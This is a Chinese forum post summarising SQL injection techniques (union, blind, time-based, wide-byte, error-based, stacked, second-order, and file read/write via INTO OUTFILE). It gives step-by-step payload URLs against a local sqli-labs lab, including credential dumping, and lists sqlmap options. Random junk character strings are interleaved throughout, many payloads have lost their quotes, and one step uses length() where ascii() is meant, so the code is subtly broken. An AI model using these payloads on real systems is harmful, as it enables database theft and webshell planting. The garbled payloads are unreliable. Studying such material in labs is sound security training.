找回密码
 加入怎通
查看: 149|回复: 2

归纳整理常见SQL注入类型以及原理(常见sql注入语句)

[复制链接]
我来看看 发表于 2023-03-19 11:46:43 | 显示全部楼层 |阅读模式
$ p' e9 O5 n" Z# K+ ]0 q5 [

SQL注入原理什么是SQL注入?SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的SQL注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤"尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

& ^$ j$ U8 h* l! K

SQL注入步骤(1)判断是否存在注入,注入是字符型还是数字型(2)猜解SQL查询语句中的字段数(3)判断哪些位置字段可以注入利用(4)查询数据库(当前使用的数据库或所有数据库)(5)查询指定数据库中的表

3 _& N4 o% u: H0 z

(6)查询指定表中的字段名(7)查询表中字段的值常见SQL注入类型(细分七种类型)可以将SQL注入分为两大类:非盲注和盲注,非盲注就是有报错回显,盲注就是没有报错回显常见的SQL注入方法有:联合注入布尔盲注

( l4 h9 A1 a9 V

时间盲注宽字节注入报错注入堆叠注入二次注入数字型/字符型注入判断首先id后面加单引号 查看是否可能存在sql注入,返回正常,不存在;返回不正常,存在假设ip/?id=1数字型,参数没有被引号包围:id=1 and 1=1 返回页面正常

$ h0 ^, Z+ B+ ?% Z

id=1 and 1=2 返回页面不正常id=1’ and ‘1’=‘1 返回页面不正常id=1’ and ‘1’=‘2 返回页面不正常字符型,参数被引号包围:id=1 and 1=1 返回页面正常或错误

* G) v1 k+ B8 e

id=1 and 1=2 返回页面正常或错误id=1’ and ‘1’=‘1 返回页面正常id=1’ and ‘1’=2 返回页面不正常总结出两种测试方法:and 1=1正常,1=2不正常,可能存在数字型注入/and 1=1正常或错误,1=2正常或错误,可能存在字符型注入

. L0 q/ O4 @. ^. k- Y3 t% H4 T/ x

’ and ‘1’=‘1不正常,’ and ‘1’=‘2不正常,可能存在数字行注入/’ and ‘1’=‘1正常,’ and ‘1’=2不正常,可能存在字符型注入0x01:联合注入原理(1)union select定义

" o% ^8 r5 y' g. {- d& O8 v

将多个SELECT语句的结果合并到一个结果集中(2)mysql直观测试SELECT * FROM users WHERE id=1union select * from users where id=2;

9 y8 O9 U0 \3 @' I' @/ h8 n

测试环境Pass-1相关函数group_concat(参数1,参数2,参数3等等无数个参数)语法: group_concat函数返回一个字符串结果(就是返回一行),该结果由括号中的各个参数值执行然后连接组合而成

* O$ D+ Q+ t3 A' D2 E) |: W) O

char():还原ASCII码为字符注入过程1、首先判断目标是否存在sql注入,是什么类型的sql注入http://127.0.0.1/sqli-labs/Less-1/?id=1 //返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1 //返回错误,可能存在SQL注入

' W) L% u8 K" Q7 B% Y! \8 X

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1 //返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 //返回正确

1 z2 B) c$ c: Q

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1 //返回错误http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 //返回错误

+ p9 P' J+ A, x# u. @% {5 C

由此可见,$id后面可能还有sql语句http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1 --+ //返回正确http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 --+ //返回错误

& m5 v# {5 @$ C/ Q) F7 x& @

由此可见,目标存在sql注入,并且是字符型,该id变量后面还有其他的sql语句此时我们看一下源码,是否是字符型2、测试步骤(1)使用union select猜测目标SQL查询语句中select后面的字段数量,同时也测出了目标哪些位置的字段可以继续利用

+ \" a0 t6 b5 N4 m$ d% ~. M8 p

(2)判断方法:回显错误表示不止当前字段数,回显正确表示就是这么多字段数Payload:http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,2,3%23

) u# U5 Y& v( C; R# b$ Y1 l# [

注:这里的and 1=2是为了就将正确的id=1不显示,返回错误,显示后面union select语句的值,因为有时目标网站设置只回显一条数据库语句,容易造成判断失误结果:这里SQL查询语句中select后面的字段数量是3个,2,3字段可以利用

# m" Y2 n v9 N! \8 P

(3)Payloadhttp://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,database(),3%23http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

* [+ V/ m4 z$ z. \* k6 X9 k" \

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

" g y9 K0 K: ?4 p9 p( R [+ h) n

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name=users),3%23

! K/ h0 ?( d0 a/ k

http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

9 _2 K4 i' o6 E% x G0 `0 q

(4)拓展还有一种方法,order by判断字段数http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2 order by 1%23具体情况具体分析0x02:布尔盲注

! ?+ R4 U. G, @7 g

原理Web的页面的仅仅会返回True和False,那么布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息测试环境Pass-8相关函数解析(1)length:返回值为字符串的字节长度

" D) K5 Z. f7 E% w4 T9 k- ^1 B8 y" z

(2)ascii:把字符转换成ascii码值的函数(3)substr(str, pos, len):在str中从pos开始的位置(起始位置为1),截取len个字符(4)count:统计表中记录的一个函数,返回匹配条件的行数

3 C+ L. ^8 x5 K& x* R8 N; Y

(5)limit:limit m :检索前m行数据,显示1-10行数据(m>0)limit(x,y):检索从x+1行开始的y行数据注入过程1、判断数据库名称长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length(database()))=8%23

- |9 s" C& i5 y' \2 U

2、猜解数据库名http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,1,1))) = 115%23

/ V+ a* x" a9 {1 I$ V

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,2,1))) = 101%23http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,3,1))) = 99%23

+ E; ]( I$ z- g! o% z+ E) g

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,4,1))) = 117%23http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,5,1))) = 114%23

) }/ r6 |" V1 d6 [! `2 W% {

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,6,1))) = 105%23http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,7,1))) = 116%23

( B+ r u1 }2 @/ T% V' L/ _' H# y0 o1 i

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (ascii(substr((select database()) ,8,1))) = 121%233、判断数据库中表的数量

- F; u# r! _. G. d7 Y

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

) f5 c. n+ j! H* z ^* G

4、猜解其中第四个表名的长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

+ w6 W( e4 j: k }% j6 C

5、猜解第四个表名http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23

! p( j% m: ^2 t2 [

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23

' |& V2 B$ U7 j' [. G

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23

) q. u v, j: M

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23

" Z/ w9 {5 a- W( _& C3 D* C1 t$ {

http://127.0.0.1/sqli-labs/Less-8/?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23

- v- p+ s* h1 T1 I

第四个表名为users6、判断users表中字段数量http://127.0.0.1/sqli-labs/Less-8/?id=1 and (select count(column_name) from information_schema.columns where table_name=users)=3%23

0 j9 Z; \7 A& I0 L6 [

7、判断第二个字段长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and length((select column_name from information_schema.columns where table_name=users limit 1,1))=8%23

/ r6 ~# C3 w2 }( \. M

8、猜解第二个字段名称http://127.0.0.1/sqli-labs/Less-8/?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=users limit 1,1),1,1))=117%23

% d* n8 K7 C3 V' \- m

...第二个字段名称为username注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关9、猜解指定字段中值的数量http://127.0.0.1/sqli-labs/Less-8/?id=1 and (select count(username)from users)=13%23

. V+ W" c" T: a6 S3 h/ z

10、猜解第一个字段中第一个值的长度http://127.0.0.1/sqli-labs/Less-8/?id=1 and length((select username from users limit 0,1))=4%23

1 o# a1 D I( p* v# L% O& a

11、猜解第一个字段中第一个值的名称http://127.0.0.1/sqli-labs/Less-8/?id=1 and ascii(substr((select username from users limit 0,1),1,1))=68%23

2 K1 O K$ _2 |- X, K* F

...最后的值为Dumb0x03:时间盲注原理时间盲注的一般思路是延迟注入,就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是True还是False,从而猜解一些未知的字段

6 M3 j; u7 ~' w G$ T

测试环境Less-9相关函数if(expr1,expr2,expr3): expr1的值为TRUE,则返回值为expr2 ;expr1的值为FALSE,则返回值为expr3sleep(n):延迟响应时间n秒

- K- e4 i* x3 V8 b0 E+ y6 g

Payloadhttp://127.0.0.1/sqli-labs/Less-9/?id=1 and if(1=1,sleep(4),null)%23http://127.0.0.1/sqli-labs/Less-9/?id=1 and (length(database()))=8 and if(1=1,sleep(4),null)%23

5 W V4 [ I" A, P* c

http://127.0.0.1/sqli-labs/Less-9/?id=1 and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

3 [% Z4 Z6 Q' f( [4 P6 y( r9 y

0x04:宽字节注入原理当存在宽字节注入的时候,注入参数里带入%df%27,即可把(%5c)吃掉,也就是%df和%5c结合成了汉字運测试环境Pass-32Payloadhttp://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,2,3%23

/ c: ~1 A. T8 g& ^% H

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

% R+ t5 E6 z" n' S4 D% q

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

# S( s% M: v3 E5 Q2 H

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name=users),3%23

2 [8 S) G% N, v- H( O. N

http://127.0.0.1/sqli-labs/Less-32/?id=1%df and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

6 }5 i' ^0 L/ H/ \

0x05:报错注入原理报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的测试环境Pass-5相关函数concat()函数:用于将多个字符串连接成一个字符串floor(x) 函数:返回小于 x 的最大整数值。

( F Q+ r5 r. ~5 \

rand()函数调:用可以在0和1之间产生一个随机数group by语句:根据一个或多个列对结果集进行分组updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数,xpath_expr: 需要更新的xml路径(Xpath格式)

8 o1 f6 S9 U$ e2 @) I e3 H: b

new_xml: 更新后的内容此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XMLxml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

: o; {9 \. U- m. a* d+ K& z0 |

extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

8 \. ]$ @" A8 i+ L- ~+ O! M0 ~; w7 [

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

0 r4 j5 |6 D e1 F2 ^

参考https://blog.51cto.com/wt7315/18914580x05-1:floor报错注入Payloadhttp://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23

) n0 X' G" {1 k

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat((select table_name from information_schema.tables where table_schema=security limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

2 d. R1 |( M \' C

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat((select column_name from information_schema.columns where table_name=users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

, |$ f% o5 l3 o3 o

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

6 y! X) J3 f( C. \+ Q# V$ l0 d

0x05-2:updatexml报错注入Payloadhttp://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(database()),~),3)%23

5 b* z. w2 J4 o8 b6 s

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(select table_name from information_schema.tables where table_schema=security limit 0,1),~),3)%23

; p* }8 O& ]. p2 K/ m5 _

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(select column_name from information_schema.columns where table_name=users limit 0,1),~),3)%23

, B$ \9 y9 M7 N" d; j. B7 h3 _

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select updatexml(1,concat(~,(select username from users limit 0,1),~),3)%23

# b) H, z( Z/ n3 k# V; @/ [

0x05-3:extractvalue报错注入Payloadhttp://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(0x7e,(database()),0x7e))%23

+ G0 H/ @* B5 R% t

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(~,(select table_name from information_schema.tables where table_schema=security limit 0,1),~))%23

8 y' A2 c- N, D

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(~,(select column_name from information_schema.columns where table_name=users limit 0,1),~))%23

0 `1 f% I4 c0 O; O

http://127.0.0.1/sqli-labs/Less-5/?id=1 union select extractvalue(null,concat(~,(select username from users limit 0,1),~))%23

! q J7 Q" v. Y! S

0x06:堆叠注入原理堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句简单地说就是MYSQL的多语句查询堆叠注入的局限性:堆叠注入并不是在任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足。

\3 ^4 B1 }! a; Y, I( Z \4 n; Q) L

web系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的测试环境Pass-38Payloadhttp://127.0.0.1/sqli-labs/Less-38/?id=1;create database peak%23

2 h& `( q6 s/ R2 T9 P

x07:二次注入原理二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中(比如虽然参数在过滤后会添加"“进行转义,但是”"并不会插入到数据库中),当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

) u, M0 e& B, X

二次注入,可以概括为以下两步:第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

: Y2 x5 J( t N& [3 {

测试环境Pass-24Payload(1)先创建一个含有注释符的用户 amin’#(2)看下数据库,成功添加了记录(3)源码sql语句分析:原SQL语句:UPDATE users SET PASSWORD=$pass

3 d7 B7 }1 G3 T6 ^! y

where username=$usernameandpassword=$curr_pass修改密码sql语句:UPDATE users SET PASSWORD=$passwhere username=admin# and password=$curr_pass

) A5 A; N, E: N+ ~3 N1 Z6 \8 I% K

最后真正执行的sql语句:UPDATE users SET PASSWORD=‘$pass’ where username=admin(4)最后修改admin’#的密码(5)成功修改admin的密码SQL注入-文件读写

' h7 H* X% w9 [+ ^ [. ]. P

原理利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息利用条件secure_file_priv这个参数用来限制数据导入和导出secure_file_priv=代表对文件读写没有限制

! }, x( T. N, J

secure_file_priv=NULL代表不能进行文件读写secure_file_priv=F:代表只能对该路径下文件进行读写注查看方法:show global variables like ‘%secure%’;

, e7 u3 s1 h- W" b6 e$ E

修改方法:my.ini函数,没有的话就直接添加相关函数load_file():读取文件into outfile:写入文件测试环境Pass-1读文件http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:\1.txt’),3%23

: E' N j7 o0 V2 K- x: v! Q7 f

写文件http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’’,3 into outfile ‘F:\2.php’%23

$ r5 c( ]$ k) m! |; U7 K8 y

sqlmap常见参数sqlmap下载地址http://sqlmap.org/常用参数-u:指定含有参数的URL--dbs:爆出数据库--batch:默认选择执行--random-agent:使用随机user-agent

( m1 y- Z: \. V9 m/ l# c

-r:POST注入--level:注入等级,一共有5个等级(1-5) 不加 level 时,默认是1,5级包含的payload最多,会自动破jie出cookie、XFF等头部注入,相对应他的速度也比较慢--timeout:设定重试超时

: n; F7 `6 G/ c! z

--cookie:设置cookie信息--flush-session:删除指定目标缓存,重新对该目标进行测试--tamper:使用waf绕过脚本--time-sec:设定延时时间,默认是5秒--thread:多线程,默认为1,最大为10

) K% m* c) ^$ M( q" L9 h: T9 N2 P

--keep-live: sqlmap默认是一次连接成功后马上关闭;HTTP报文中相当于Connection: Close(一次连接马上关闭)要扫描站点的URL比较多时,这样比较耗费性能,所以需要将HTTP连接持久化来提高扫描性能;HTTP报文相当于Connection: Keep-Alive。

9 f0 p7 o$ o. K- z8 K

示例py -3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1"--dbs --random-agent --batch

8 x0 H' o# N7 P1 t N; q: p3 R& v- } ; g$ J) n5 i. ]$ {; r: S6 n5 M 4 ]" c* o8 \8 c; m 4 e) ]& ]& P! K9 ~4 }* L2 x

暂时无法加载帖子列表

回复

使用道具 举报

radarxu 发表于 2026-03-14 17:06:53 | 显示全部楼层
楼主辛苦了,整理这么多内容,必须点赞收藏
回复

使用道具 举报

一只笨笨熊 发表于 2026-06-15 02:04:27 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-10-1 10:16 , Processed in 0.051991 second(s), 24 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表